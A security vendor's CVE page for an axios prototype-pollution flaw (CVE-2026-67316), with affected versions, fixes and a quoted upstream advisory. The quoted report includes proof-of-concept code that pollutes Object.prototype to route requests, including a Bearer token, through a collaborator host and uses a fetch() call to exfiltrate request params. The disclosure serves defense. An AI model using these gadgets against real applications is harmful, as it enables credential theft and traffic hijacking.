HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 67316 axios prototype pollution gadgets can alter axios
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium ยท CVSS 7.4CVE-2026-67316GHSA-MMX7-HFXF-JPPX

Axios: Prototype pollution gadgets can alter axios request constructionCVE-2026-67316

Answer in brief

CVE-2026-67316 records a Medium severity (CVSS 7.4) vulnerability in Axios: Prototype pollution gadgets can alter axios request construction. The current sources do not mark it as known exploited. The current feed maps axios (npm), axios (npm), axios (npm), axios (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 20, 2026Updated Sep 10, 2026Source checked Oct 16, 2026First seen by HOL Aug 3, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Medium ยท CVSS 7.4
Exploitation
Not marked as known exploited
Affected software
5 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 7.4. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps axios (npm), axios (npm), axios (npm), axios (npm). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
axiosnpm>=1.0.0,<1.18.01.18.0
axiosnpm<0.33.00.33.0
axiosnpm>=1.0.0 <1.18.01.18.0
axiosnpm>=0 <0.33.00.33.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for axios, axios, axios.
  2. 2Review the reported fix. Update axios to 1.18.0; axios to 0.33.0; axios to 1.18.0; axios to 0.33.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 20, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Aug 3, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • NVD vulnerability recordnvd.nist.gov
  • Source referencevulncheck.com
  • GitHub security advisorygithub.com
Upstream source description

## Summary axios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body. Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`. ## Impact An attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`. For direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification. For direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`. ## Affected Functionality Affected normal API: - `axios.get(url[, config])` - `axios.delete(url[, config])` - `axios.head(url[, config])` - `axios.options(url[, config])` Affected low-level usage: - Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`. - Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`. Unaffected or corrected scope: - Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads. ## Technical Details `lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter. `lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`. The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values. ## Proof of Concept of Attack ```js import http from 'http'; import axios from 'axios'; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { res.writeHead(200, {'content-type': 'application/json'}); res.end(JSON.stringify({body, headers: req.headers})); }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.data = 'INJECTED'; try { const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`); console.log(res.data.body); // "INJECTED" console.log(res.data.headers['content-length']); // "8" } finally { delete Object.prototype.data; await new Promise(resolve => server.close(resolve)); } ``` Expected result: a request body is sent even though the caller did not explicitly set `config.data`. ## Workarounds Avoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern. <details> <summary>Original Report</summary> ### Summary Three prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests. ### Details The [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: `config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. `(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. `config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage. ### PoC Ran against `[email protected]` on `node:22-slim` in Docker. Clean install, no other deps. ```javascript import axios from 'axios'; // gadget 1 - proxy Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' }; await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } }); // check collaborator - request arrives with full path + auth header ``` ```javascript // gadget 2 - data on bodyless methods Object.prototype.data = '{"injected":true}'; await axios.get('https://api.example.com/items'); await axios.delete('https://api.example.com/items/1'); await axios.head('https://api.example.com/items'); // 3/4 methods send the polluted body ``` ```javascript // gadget 3 - paramsSerializer Object.prototype.paramsSerializer = (p) => { fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p)); return 'q=x'; }; await axios.get('https://api.example.com/search', { params: { token: 'secret' } }); ``` ### Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly. </details>

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Secret Exfiltration
EPSS
Not reported
CWE IDs
CWE-1321
Source
GitHub Security Advisories
Source checked
Oct 16, 2026
References
12 linked sources
Open source record